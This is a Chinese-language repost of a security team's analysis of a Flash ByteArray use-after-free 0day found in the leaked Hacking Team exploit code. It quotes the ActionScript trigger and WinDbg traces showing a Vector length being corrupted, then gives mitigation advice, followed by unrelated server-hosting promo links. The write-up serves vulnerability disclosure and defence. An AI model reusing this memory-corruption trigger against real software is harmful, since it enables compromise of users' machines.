Hacking Team攻击代码分析Part 1:Flash 0day

最近专门提供通过攻击手法进行网络监听的黑客公司Hacking Team被黑,包含该公司的邮件、文档和攻击代码的400G数据泄漏。360Vulcan Team第一时间获取了相关信息,并对其中的攻击代码进行了分析。

我们发现其中至少包含了两个针对Adobe Flash的远程代码执行漏洞和一个针对微软Windows内核字体权限提升漏洞的完整攻击代码(exploit)。其中一个Flash漏洞已经在今年4月修补,其他两个漏洞都未修复。

其中Flash漏洞exploit被设计为可以针对IE、Chrome浏览器和Office软件进行攻击。攻击者通过嵌入精心构造的恶意Flash文件到网页或Office文档中,使得访问特定网页或打开Office文档的用户感染恶意代码。同时,这些恶意代码通过结合Windows内核字体权限提升漏洞,可以绕过IE(保护模式或增强保护模式)、Chrome(Chrome Sandbox,< Chrome 43)和Office(保护模式)的沙盒保护,完全控制用户的电脑。

360Vulcan Team对这些漏洞进行分析,并分为三个部分将这些0day的信息共享给安全社区,希望软件厂商和安全厂商共同行动,尽快修补和防御着这些“在野”的0day漏洞。

Flash 0day -ActionScript ByteArray Buffer Use After Free

看起来HackingTeam的远程exploit工具中广泛使用了同一个flash漏洞(攻击目标可以是IE、Chrome、Office系列):

初步分析这个Exploit之后,我们发现这个Exploit在最新版本的Adobe Flash(18.0.0.194)中仍然可以触发,因此这应该是一个0day漏洞。

漏洞原理分析

这个漏洞成因在于,Flash对ByteArray内部的buffer使用不当,而造成Use After Free漏洞。

我们来看一下HackingTeam泄露的exploit代码,关键部分如下:

1. 定义ByteArray

for(var i:int; i < alen; i+=3){                  a[i] = new Class2(i);                                   a[i+1] = new ByteArray();                  a[i+1].length = 0xfa0;                                   a[i+2] = new Class2(i+2);              }

首先定义一系列的ByteArray,这些ByteArray初始大小被设置成0xfa0,ActionScript内部会为每个Buffer分配0×1000大小的内存。

1. 给ByteArray元素赋值:

_ba = a[i];                  // call valueOf() and cause UaF memory corruption                  _ba[3] = new Clasz();

这一步是触发漏洞的关键,由于ByteArray的元素类型是Byte,当把Clasz类赋值给ByteArray[3]时,AVM会试图将其转化为Byte,此时Clasz的valueOf函数将被调用:

prototype.valueOf = function()      {          ref = new Array(5);          collect.push(ref);                   // realloc          _ba.length = 0x1100;                   // use after free          for (var i:int; i < ref.length; i++)              ref[i] = new Vector.<uint>(0x3f0);                   return 0x40      }

在valueOf函数中,最关键的一部是更改了ByteArray的长度,将其设置成为0×1100,这个操作将会触发ByteArray内部buffer的重新分配,旧的buffer(大小为0×1000)将会被释放。紧接着exploit代码会分配若干个vector对象,每个vector同样占用0×1000字节的内存,试图去重新使用已经释放的ByteArray buffer的内存。

valueOf函数返回0×40,然后0×40会被写入buffer[3]这里,如果逻辑正确,那么此处应该写入的是新分配的buffer;然而由于代码漏洞,这里写入的已经释放的0×1000大小的旧buffer,于是事实上写入的是vector对象的头部,整个过程如下:

1. ByteArray创建并设置长度0xfe0:

old buffer  |                       | 0                                 0x1000 2.  设置_ba[3],调用valueOf,在valueOf中设置ByteArray.length = 0x1100,此时old buffer被释放 old buffer (Freed)  |                       | 0                                 0x1000 3.  然后0x1000大小的vector占据old buffer内存,前4个字节是vector的长度字段: Vector          | f0 03 00 00               | 0                                 0x1000 4.  valueOf返回0x40,0x40被写入buffer[3],由于UAF漏洞的存在,写入的是vector的size字段: Vector          | f0 03 00 40               | 0                                 0x1000

于是我们可以得到一个超长的vector对象:

 

我们可以通过调试来观察漏洞的触发过程:

1. 调用valueOf之前

0:005> u 671cf2a5   call     671b0930 //这里最终调用valueOf 671cf2aa 83c404          add     esp,4 671cf2ad 8806            mov     byte ptr [esi],al 671cf2af 5e              pop     esi

此时esi指向old buffer:

0:005> dd esi-3 0dfd5000  00000000 00000000 00000000 00000000 0dfd5010  00000000 00000000 00000000 00000000

2. 调用valueOf之后,old buffer被释放,然后被vector占据:

此时esi已经指向新分配的vector,就buffer已经被释放

0:005> dd esi-3 0dfd5000  000003f0 0d2b3000 00000000 00000000 0dfd5010  00000000 00000000 00000000 00000000 0dfd5020  00000000 00000000 00000000 00000000 0dfd5030  00000000 00000000 00000000 00000000 0dfd5040  00000000 00000000 00000000 00000000 0dfd5050  00000000 00000000 00000000 00000000 0dfd5060  00000000 00000000 00000000 00000000 0dfd5070  00000000 00000000 00000000 00000000

3. 写入buffer[3

接下来valueOf的返回值0x40被写入buffer[3](及vector.size字段):

0:005> p eax=00000040 ebx=0d8b4921 ecx=00000206 edx=00000006 esi=0dfd5003 edi=0d362020 eip=671cf2ad esp=04f2ceec ebp=04f2d050 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202 Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07d: 671cf2ad 8806            mov     byte ptr [esi],al          ds:0023:0dfd5003=00 0:005> p Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07f: 671cf2af 5e              pop     esi 0:005> dd esi-3 0dfd5000  400003f0 0d2b3000 00000000 00000000 0dfd5010  00000000 00000000 00000000 00000000 0dfd5020  00000000 00000000 00000000 00000000 0dfd5030  00000000 00000000 00000000 00000000

可以看到vector的长度以及被修改成0x400003f0。

漏洞防范

由于该漏洞利用非常稳定,而Adobe暂时没有发布该漏洞的补丁,更可怕的是从HackingTeam泄露的数据来看,该exploit还带有沙盒突破提权功能,危害甚大。我们建议补丁发布之前,可以暂时先禁用flash插件;也可以开启Chrome或Chrome核心浏览器针对插件的Click-to-Run功能,来缓解Flash 0day的攻击。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/144471.html<

(0)
管理的头像管理
上一篇2025-03-10 04:31
下一篇 2025-03-10 04:32

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注